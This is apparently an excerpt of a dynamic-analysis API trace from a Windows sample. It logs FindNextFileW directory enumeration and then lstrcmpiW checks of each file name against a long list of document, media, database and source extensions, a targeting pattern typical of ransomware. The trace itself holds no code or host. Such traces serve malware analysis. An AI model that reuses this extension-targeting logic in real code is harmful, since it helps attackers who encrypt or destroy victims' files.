	[0179.844] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1
	[0179.844] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1
	[0179.844] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1
	[0179.844] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNB5F0~1.ETL")) returned 1
	[0179.844] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.010.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1
	[0179.844] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.021.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1
	[0179.845] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.022.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1
	[0179.845] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1
	[0179.845] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0
	[0179.845] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0179.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.846] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1
	[0179.846] lstrlenW (lpString="Task.xml") returned 8
	[0179.846] lstrlenW (lpString=".1cd") returned 4
	[0179.846] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.846] lstrlenW (lpString=".3ds") returned 4
	[0179.846] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0179.846] lstrlenW (lpString=".3fr") returned 4
	[0179.846] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0179.846] lstrlenW (lpString=".3g2") returned 4
	[0179.846] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0179.846] lstrlenW (lpString=".3gp") returned 4
	[0179.846] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0179.846] lstrlenW (lpString=".7z") returned 3
	[0179.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.846] lstrlenW (lpString=".accda") returned 6
	[0179.846] lstrcmpiW (lpString1=".accda", lpString2="sk.xml") returned -1
	[0179.846] lstrlenW (lpString=".accdb") returned 6
	[0179.846] lstrcmpiW (lpString1=".accdb", lpString2="sk.xml") returned -1
	[0179.847] lstrlenW (lpString=".accdc") returned 6
	[0179.847] lstrcmpiW (lpString1=".accdc", lpString2="sk.xml") returned -1
	[0179.847] lstrlenW (lpString=".accde") returned 6
	[0179.847] lstrcmpiW (lpString1=".accde", lpString2="sk.xml") returned -1
	[0179.847] lstrlenW (lpString=".accdt") returned 6
	[0179.847] lstrcmpiW (lpString1=".accdt", lpString2="sk.xml") returned -1
	[0179.847] lstrlenW (lpString=".accdw") returned 6
	[0179.847] lstrcmpiW (lpString1=".accdw", lpString2="sk.xml") returned -1
	[0179.847] lstrlenW (lpString=".adb") returned 4
	[0179.847] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".adp") returned 4
	[0179.847] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".ai") returned 3
	[0179.847] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0179.847] lstrlenW (lpString=".ai3") returned 4
	[0179.847] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".ai4") returned 4
	[0179.847] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".ai5") returned 4
	[0179.847] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".ai6") returned 4
	[0179.847] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".ai7") returned 4
	[0179.847] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".ai8") returned 4
	[0179.847] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0179.847] lstrlenW (lpString=".anim") returned 5
	[0179.847] lstrcmpiW (lpString1=".anim", lpString2="k.xml") returned -1
	[0179.847] lstrlenW (lpString=".arw") returned 4
	[0179.847] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".as") returned 3
	[0179.848] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0179.848] lstrlenW (lpString=".asa") returned 4
	[0179.848] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".asc") returned 4
	[0179.848] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".ascx") returned 5
	[0179.848] lstrcmpiW (lpString1=".ascx", lpString2="k.xml") returned -1
	[0179.848] lstrlenW (lpString=".asm") returned 4
	[0179.848] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".asmx") returned 5
	[0179.848] lstrcmpiW (lpString1=".asmx", lpString2="k.xml") returned -1
	[0179.848] lstrlenW (lpString=".asp") returned 4
	[0179.848] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".aspx") returned 5
	[0179.848] lstrcmpiW (lpString1=".aspx", lpString2="k.xml") returned -1
	[0179.848] lstrlenW (lpString=".asr") returned 4
	[0179.848] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".asx") returned 4
	[0179.848] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".avi") returned 4
	[0179.848] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".avs") returned 4
	[0179.848] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".backup") returned 7
	[0179.848] lstrcmpiW (lpString1=".backup", lpString2="ask.xml") returned -1
	[0179.848] lstrlenW (lpString=".bak") returned 4
	[0179.848] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".bay") returned 4
	[0179.848] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0179.848] lstrlenW (lpString=".bd") returned 3
	[0179.848] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0179.848] lstrlenW (lpString=".bin") returned 4
	[0179.848] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".bmp") returned 4
	[0179.849] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".bz2") returned 4
	[0179.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".c") returned 2
	[0179.849] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.849] lstrlenW (lpString=".cdr") returned 4
	[0179.849] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".cer") returned 4
	[0179.849] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".cf") returned 3
	[0179.849] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0179.849] lstrlenW (lpString=".cfc") returned 4
	[0179.849] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".cfm") returned 4
	[0179.849] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".cfml") returned 5
	[0179.849] lstrcmpiW (lpString1=".cfml", lpString2="k.xml") returned -1
	[0179.849] lstrlenW (lpString=".cfu") returned 4
	[0179.849] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".chm") returned 4
	[0179.849] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".cin") returned 4
	[0179.849] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".class") returned 6
	[0179.849] lstrcmpiW (lpString1=".class", lpString2="sk.xml") returned -1
	[0179.849] lstrlenW (lpString=".clx") returned 4
	[0179.849] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".config") returned 7
	[0179.849] lstrcmpiW (lpString1=".config", lpString2="ask.xml") returned -1
	[0179.849] lstrlenW (lpString=".cpp") returned 4
	[0179.849] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0179.849] lstrlenW (lpString=".cr2") returned 4
	[0179.849] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".crt") returned 4
	[0179.850] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".crw") returned 4
	[0179.850] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".cs") returned 3
	[0179.850] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0179.850] lstrlenW (lpString=".css") returned 4
	[0179.850] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".csv") returned 4
	[0179.850] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".cub") returned 4
	[0179.850] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dae") returned 4
	[0179.850] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dat") returned 4
	[0179.850] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".db") returned 3
	[0179.850] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0179.850] lstrlenW (lpString=".dbf") returned 4
	[0179.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dbx") returned 4
	[0179.850] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dc3") returned 4
	[0179.850] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dcm") returned 4
	[0179.850] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dcr") returned 4
	[0179.850] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".der") returned 4
	[0179.850] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dib") returned 4
	[0179.850] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dic") returned 4
	[0179.850] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0179.850] lstrlenW (lpString=".dif") returned 4
	[0179.851] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".divx") returned 5
	[0179.851] lstrcmpiW (lpString1=".divx", lpString2="k.xml") returned -1
	[0179.851] lstrlenW (lpString=".djvu") returned 5
	[0179.851] lstrcmpiW (lpString1=".djvu", lpString2="k.xml") returned -1
	[0179.851] lstrlenW (lpString=".dng") returned 4
	[0179.851] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".doc") returned 4
	[0179.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".docm") returned 5
	[0179.851] lstrcmpiW (lpString1=".docm", lpString2="k.xml") returned -1
	[0179.851] lstrlenW (lpString=".docx") returned 5
	[0179.851] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1
	[0179.851] lstrlenW (lpString=".dot") returned 4
	[0179.851] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dotm") returned 5
	[0179.851] lstrcmpiW (lpString1=".dotm", lpString2="k.xml") returned -1
	[0179.851] lstrlenW (lpString=".dotx") returned 5
	[0179.851] lstrcmpiW (lpString1=".dotx", lpString2="k.xml") returned -1
	[0179.851] lstrlenW (lpString=".dpx") returned 4
	[0179.851] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dqy") returned 4
	[0179.851] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dsn") returned 4
	[0179.851] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dt") returned 3
	[0179.851] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0179.851] lstrlenW (lpString=".dtd") returned 4
	[0179.851] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dwg") returned 4
	[0179.851] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dwt") returned 4
	[0179.851] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0179.851] lstrlenW (lpString=".dx") returned 3
	[0179.851] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0179.852] lstrlenW (lpString=".dxf") returned 4
	[0179.852] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".edml") returned 5
	[0179.852] lstrcmpiW (lpString1=".edml", lpString2="k.xml") returned -1
	[0179.852] lstrlenW (lpString=".efd") returned 4
	[0179.852] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".elf") returned 4
	[0179.852] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".emf") returned 4
	[0179.852] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".emz") returned 4
	[0179.852] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".epf") returned 4
	[0179.852] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".eps") returned 4
	[0179.852] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".epsf") returned 5
	[0179.852] lstrcmpiW (lpString1=".epsf", lpString2="k.xml") returned -1
	[0179.852] lstrlenW (lpString=".epsp") returned 5
	[0179.852] lstrcmpiW (lpString1=".epsp", lpString2="k.xml") returned -1
	[0179.852] lstrlenW (lpString=".erf") returned 4
	[0179.852] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".exr") returned 4
	[0179.852] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".f4v") returned 4
	[0179.852] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0179.852] lstrlenW (lpString=".fido") returned 5
	[0179.852] lstrcmpiW (lpString1=".fido", lpString2="k.xml") returned -1
	[0179.852] lstrlenW (lpString=".flm") returned 4
	[0179.852] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".flv") returned 4
	[0179.853] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".frm") returned 4
	[0179.853] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".fxg") returned 4
	[0179.853] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".geo") returned 4
	[0179.853] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".gif") returned 4
	[0179.853] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".grs") returned 4
	[0179.853] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0179.853] lstrlenW (lpString=".gz") returned 3
	[0179.853] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0179.853] lstrlenW (lpString=".h") returned 2
	[0179.853] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.854] lstrlenW (lpString=".hdr") returned 4
	[0179.854] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".hpp") returned 4
	[0179.854] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".hta") returned 4
	[0179.854] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".htc") returned 4
	[0179.854] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".htm") returned 4
	[0179.854] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".html") returned 5
	[0179.854] lstrcmpiW (lpString1=".html", lpString2="k.xml") returned -1
	[0179.854] lstrlenW (lpString=".icb") returned 4
	[0179.854] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".ics") returned 4
	[0179.854] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".iff") returned 4
	[0179.854] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".inc") returned 4
	[0179.854] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0179.854] lstrlenW (lpString=".indd") returned 5
	[0179.854] lstrcmpiW (lpString1=".indd", lpString2="k.xml") returned -1
	[0179.854] lstrlenW (lpString=".ini") returned 4
	[0179.854] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".iqy") returned 4
	[0179.855] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".j2c") returned 4
	[0179.855] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".j2k") returned 4
	[0179.855] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".java") returned 5
	[0179.855] lstrcmpiW (lpString1=".java", lpString2="k.xml") returned -1
	[0179.855] lstrlenW (lpString=".jp2") returned 4
	[0179.855] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".jpc") returned 4
	[0179.855] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".jpe") returned 4
	[0179.855] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".jpeg") returned 5
	[0179.855] lstrcmpiW (lpString1=".jpeg", lpString2="k.xml") returned -1
	[0179.855] lstrlenW (lpString=".jpf") returned 4
	[0179.855] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".jpg") returned 4
	[0179.855] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".jpx") returned 4
	[0179.855] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1
	[0179.855] lstrlenW (lpString=".js") returned 3
	[0179.856] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0179.856] lstrlenW (lpString=".jsf") returned 4
	[0179.856] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".json") returned 5
	[0179.856] lstrcmpiW (lpString1=".json", lpString2="k.xml") returned -1
	[0179.856] lstrlenW (lpString=".jsp") returned 4
	[0179.856] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".kdc") returned 4
	[0179.856] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".kmz") returned 4
	[0179.856] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".kwm") returned 4
	[0179.856] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".lasso") returned 6
	[0179.856] lstrcmpiW (lpString1=".lasso", lpString2="sk.xml") returned -1
	[0179.856] lstrlenW (lpString=".lbi") returned 4
	[0179.856] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".lgf") returned 4
	[0179.856] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".lgp") returned 4
	[0179.856] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".log") returned 4
	[0179.856] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".m1v") returned 4
	[0179.856] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".m4a") returned 4
	[0179.856] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".m4v") returned 4
	[0179.856] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1
	[0179.856] lstrlenW (lpString=".max") returned 4
	[0179.857] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".md") returned 3
	[0179.857] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1
	[0179.857] lstrlenW (lpString=".mda") returned 4
	[0179.857] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mdb") returned 4
	[0179.857] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mde") returned 4
	[0179.857] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mdf") returned 4
	[0179.857] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mdw") returned 4
	[0179.857] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mef") returned 4
	[0179.857] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mft") returned 4
	[0179.857] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1
	[0179.857] lstrlenW (lpString=".mfw") returned 4
	[0179.857] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mht") returned 4
	[0179.858] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mhtml") returned 6
	[0179.858] lstrcmpiW (lpString1=".mhtml", lpString2="sk.xml") returned -1
	[0179.858] lstrlenW (lpString=".mka") returned 4
	[0179.858] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mkidx") returned 6
	[0179.858] lstrcmpiW (lpString1=".mkidx", lpString2="sk.xml") returned -1
	[0179.858] lstrlenW (lpString=".mkv") returned 4
	[0179.858] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mos") returned 4
	[0179.858] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mov") returned 4
	[0179.858] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mp3") returned 4
	[0179.858] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mp4") returned 4
